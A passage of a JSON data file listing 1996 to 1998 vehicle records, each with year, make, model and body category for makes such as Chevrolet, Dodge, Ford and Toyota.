"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Lumina",
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},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Venture Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Avenger",
"Category": "Coupe"
},
{
"Year": 1998,
"Make": "Chrysler",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Chrysler",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Chrysler",
"Model": "Sebring",
"Category": "Convertible, Coupe"
},
{
"Year": 1998,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Chrysler",
"Model": "Concorde",
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},
{
"Year": 1998,
"Make": "Chevrolet",
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},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Ram 1500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Ram 3500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Ram Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Ram Van 1500",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Neon",
"Category": "Sedan, Coupe"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
"Model": "Ram Wagon 1500",
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},
{
"Year": 1998,
"Make": "Ford",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Ford",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "Contour",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "Club Wagon",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "F250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Eagle",
"Model": "Talon",
"Category": "Hatchback"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "Taurus",
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},
{
"Year": 1998,
"Make": "Dodge",
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},
{
"Year": 1998,
"Make": "Ford",
"Model": "Mustang",
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},
{
"Year": 1998,
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"Category": "Van/Minivan"
},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Ford",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Ford",
"Model": "Crown Victoria",
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},
{
"Year": 1998,
"Make": "Ford",
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Dodge",
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"Category": "Convertible, Coupe"
},
{
"Year": 1998,
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},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
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"Model": "Safari Cargo",
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},
{
"Year": 1998,
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"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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"Model": "Yukon",
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Jeep",
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Lincoln",
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},
{
"Year": 1998,
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{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "MAZDA",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Mercedes-Benz",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Lincoln",
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},
{
"Year": 1998,
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"Category": "Convertible"
},
{
"Year": 1998,
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},
{
"Year": 1998,
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{
"Year": 1998,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Nissan",
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"Category": "Coupe"
},
{
"Year": 1998,
"Make": "Nissan",
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},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Nissan",
"Model": "240SX",
"Category": "Coupe"
},
{
"Year": 1998,
"Make": "Nissan",
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},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Mitsubishi",
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"Category": "Coupe, Convertible"
},
{
"Year": 1998,
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"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Nissan",
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"Category": "SUV"
},
{
"Year": 1998,
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},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Subaru",
"Model": "Forester",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Porsche",
"Model": "Boxster",
"Category": "Convertible"
},
{
"Year": 1998,
"Make": "Plymouth",
"Model": "Breeze",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Oldsmobile",
"Model": "Cutlass",
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},
{
"Year": 1998,
"Make": "Pontiac",
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},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Coupe, Convertible"
},
{
"Year": 1998,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Pontiac",
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"Category": "Sedan, Coupe"
},
{
"Year": 1998,
"Make": "Pontiac",
"Model": "Sunfire",
"Category": "Convertible, Sedan, Coupe"
},
{
"Year": 1998,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1998,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Oldsmobile",
"Model": "Aurora",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Coupe, Sedan"
},
{
"Year": 1998,
"Make": "Plymouth",
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"Category": "Coupe, Sedan"
},
{
"Year": 1998,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Plymouth",
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"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1998,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Sedan, Wagon, Coupe"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1998,
"Make": "Saab",
"Model": "900",
"Category": "Hatchback, Convertible"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Camry",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Celica",
"Category": "Coupe, Hatchback, Convertible"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "T100 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Saab",
"Model": "9000",
"Category": "Hatchback"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Tacoma Xtracab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Suzuki",
"Model": "Esteem",
"Category": "Sedan, Wagon"
},
{
"Year": 1998,
"Make": "Suzuki",
"Model": "X-90",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Sienna",
"Category": "Van/Minivan"
},
{
"Year": 1998,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Hatchback"
},
{
"Year": 1998,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Avalon",
"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "T100 Xtracab",
"Category": "Pickup"
},
{
"Year": 1998,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 1998,
"Make": "Volvo",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Volkswagen",
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"Category": "Convertible"
},
{
"Year": 1998,
"Make": "Volvo",
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"Category": "Coupe, Convertible"
},
{
"Year": 1998,
"Make": "Toyota",
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"Category": "Pickup"
},
{
"Year": 1997,
"Make": "Acura",
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"Category": "Sedan"
},
{
"Year": 1998,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1998,
"Make": "Volkswagen",
"Model": "New Beetle",
"Category": "Hatchback"
},
{
"Year": 1997,
"Make": "Acura",
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"Category": "Coupe, Sedan"
},
{
"Year": 1997,
"Make": "Acura",
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"Category": "Sedan"
},
{
"Year": 1997,
"Make": "BMW",
"Model": "3 Series",
"Category": "Coupe, Hatchback, Convertible, Sedan"
},
{
"Year": 1998,
"Make": "Toyota",
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},
{
"Year": 1997,
"Make": "Buick",
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},
{
"Year": 1997,
"Make": "Acura",
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"Category": "SUV"
},
{
"Year": 1998,
"Make": "Volvo",
"Model": "V70",
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},
{
"Year": 1998,
"Make": "Volkswagen",
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"Category": "Sedan, Wagon"
},
{
"Year": 1998,
"Make": "Volkswagen",
"Model": "Jetta",
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},
{
"Year": 1997,
"Make": "Audi",
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"Category": "Wagon, Sedan"
},
{
"Year": 1998,
"Make": "Volvo",
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"Category": "Wagon"
},
{
"Year": 1998,
"Make": "Volvo",
"Model": "S90",
"Category": "Sedan"
},
{
"Year": 1997,
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},
{
"Year": 1997,
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},
{
"Year": 1997,
"Make": "Acura",
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"Category": "Coupe, Convertible"
},
{
"Year": 1997,
"Make": "BMW",
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"Category": "Coupe"
},
{
"Year": 1997,
"Make": "Acura",
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"Category": "Coupe"
},
{
"Year": 1997,
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},
{
"Year": 1997,
"Make": "BMW",
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},
{
"Year": 1997,
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},
{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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},
{
"Year": 1997,
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"Category": "Pickup"
},
{
"Year": 1997,
"Make": "Buick",
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},
{
"Year": 1997,
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"Category": "Pickup"
},
{
"Year": 1997,
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"Category": "Pickup"
},
{
"Year": 1997,
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},
{
"Year": 1997,
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},
{
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{
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{
"Year": 1997,
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{
"Year": 1997,
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{
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
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{
"Year": 1997,
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{
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{
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{
"Year": 1997,
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{
"Year": 1997,
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{
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{
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{
"Year": 1997,
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{
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{
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{
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{
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"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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"Year": 1997,
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{
"Year": 1997,
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},
{
"Year": 1997,
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{
"Year": 1997,
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"Category": "SUV"
},
{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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},
{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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},
{
"Year": 1997,
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"Year": 1997,
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},
{
"Year": 1997,
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},
{
"Year": 1997,
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},
{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
"Make": "GMC",
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
"Make": "Hyundai",
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{
"Year": 1997,
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{
"Year": 1997,
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"Category": "Pickup"
},
{
"Year": 1997,
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},
{
"Year": 1997,
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"Category": "Sedan"
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{
"Year": 1997,
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{
"Year": 1997,
"Make": "INFINITI",
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},
{
"Year": 1997,
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},
{
"Year": 1997,
"Make": "Isuzu",
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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"Year": 1997,
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{
"Year": 1997,
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},
{
"Year": 1997,
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},
{
"Year": 1997,
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{
"Year": 1997,
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"Category": "Pickup"
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{
"Year": 1997,
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{
"Year": 1997,
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{
"Year": 1997,
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"Category": "SUV"
},
{
"Year": 1997,
"Make": "MAZDA",
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},
{
"Year": 1997,
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},
{
"Year": 1997,
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"Category": "SUV"
},
{
"Year": 1997,
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"Category": "Sedan"
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{
"Year": 1997,
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{
"Year": 1997,
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"Category": "Sedan"
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{
"Year": 1997,
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},
{
"Year": 1997,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 1997,
"Make": "Lexus",
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"Category": "Coupe"
},
{
"Year": 1997,
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},
{
"Year": 1997,
"Make": "MAZDA",
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"Category": "Van/Minivan"
},
{
"Year": 1997,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
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{
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"Year": 1997,
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"Year": 1997,
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{
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{
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{
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{
"Year": 1997,
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{
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{
"Year": 1997,
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{
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{
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{
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},
{
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},
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"Year": 1996,
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},
{
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"Year": 1996,
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"Year": 1996,
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{
"Year": 1996,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F350 Super Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Windstar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F250 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Probe",
"Category": "Hatchback"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "F350 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Thunderbird",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan, Wagon"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Sonoma Club Coupe Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Geo",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "2500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Geo",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Ford",
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"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "1500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Geo",
"Model": "Metro",
"Category": "Hatchback, Sedan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "Civic",
"Category": "Sedan, Coupe, Hatchback"
},
{
"Year": 1996,
"Make": "Ford",
"Model": "Windstar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "3500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "del Sol",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Rally Wagon G3500",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Wagon, Coupe"
},
{
"Year": 1996,
"Make": "INFINITI",
"Model": "J",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "HUMMER",
"Model": "H1",
"Category": "SUV, Wagon"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "Passport",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Vandura G3500",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Hatchback, Sedan"
},
{
"Year": 1996,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "INFINITI",
"Model": "I",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Isuzu",
"Model": "Hombre Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Land Rover",
"Model": "Discovery",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Isuzu",
"Model": "Oasis",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Lincoln",
"Model": "Mark VIII",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Kia",
"Model": "Sephia",
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},
{
"Year": 1996,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 1996,
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "INFINITI",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "Millenia",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 1996,
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"Model": "Elantra",
"Category": "Sedan, Wagon"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "626",
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},
{
"Year": 1996,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Jaguar",
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"Category": "Sedan, Convertible"
},
{
"Year": 1996,
"Make": "Lexus",
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"Category": "Coupe"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "MX-6",
"Category": "Coupe"
},
{
"Year": 1996,
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},
{
"Year": 1996,
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},
{
"Year": 1996,
"Make": "Mercury",
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"Category": "Coupe"
},
{
"Year": 1996,
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},
{
"Year": 1996,
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"Model": "Mirage",
"Category": "Coupe, Sedan"
},
{
"Year": 1996,
"Make": "Mitsubishi",
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"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 1996,
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 1996,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Mitsubishi",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 1996,
"Make": "Mitsubishi",
"Model": "3000GT",
"Category": "Coupe, Convertible"
},
{
"Year": 1996,
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},
{
"Year": 1996,
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},
{
"Year": 1996,
"Make": "Mercedes-Benz",
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"Category": "Sedan, Coupe"
},
{
"Year": 1996,
"Make": "Mitsubishi",
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},
{
"Year": 1996,
"Make": "Nissan",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Nissan",
"Model": "300ZX",
"Category": "Hatchback, Convertible"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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"Category": "SUV"
},
{
"Year": 1996,
"Make": "Mitsubishi",
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"Category": "Hatchback, Convertible"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Nissan",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Plymouth",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Nissan",
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"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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},
{
"Year": 1996,
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"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Nissan",
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},
{
"Year": 1996,
"Make": "Nissan",
"Model": "240SX",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Oldsmobile",
"Model": "Ciera",
"Category": "Sedan, Wagon"
},
{
"Year": 1996,
"Make": "Nissan",
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"Category": "Pickup"
},
{
"Year": 1996,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Hatchback, Convertible"
},
{
"Year": 1996,
"Make": "Plymouth",
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"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Nissan",
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"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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"Category": "Sedan, Coupe"
},
{
"Year": 1996,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Oldsmobile",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Pontiac",
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"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1996,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Sedan, Coupe"
},
{
"Year": 1996,
"Make": "Oldsmobile",
"Model": "Cutlass Supreme",
"Category": "Sedan, Coupe"
},
{
"Year": 1996,
"Make": "Saab",
"Model": "900",
"Category": "Hatchback, Convertible"
},
{
"Year": 1996,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1996,
"Make": "Suzuki",
"Model": "X-90",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Saab",
"Model": "9000",
"Category": "Hatchback"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan, Wagon"
},
{
"Year": 1996,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Hatchback"
},
{
"Year": 1996,
"Make": "Subaru",
"Model": "SVX",
"Category": "Coupe"
},
{
"Year": 1996,
"Make": "Pontiac",
"Model": "Sunfire",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1996,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Plymouth",
"Model": "Neon",
"Category": "Coupe, Sedan"
},
{
"Year": 1996,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1996,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1996,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1996,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan, Coupe"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Suzuki",
"Model": "Esteem",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Celica",
"Category": "Hatchback, Convertible, Coupe"
},
{
"Year": 1996,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Tercel",
"Category": "Sedan"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Camry",
"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 1996,
"Make": "Toyota",
"Model": "Avalon",
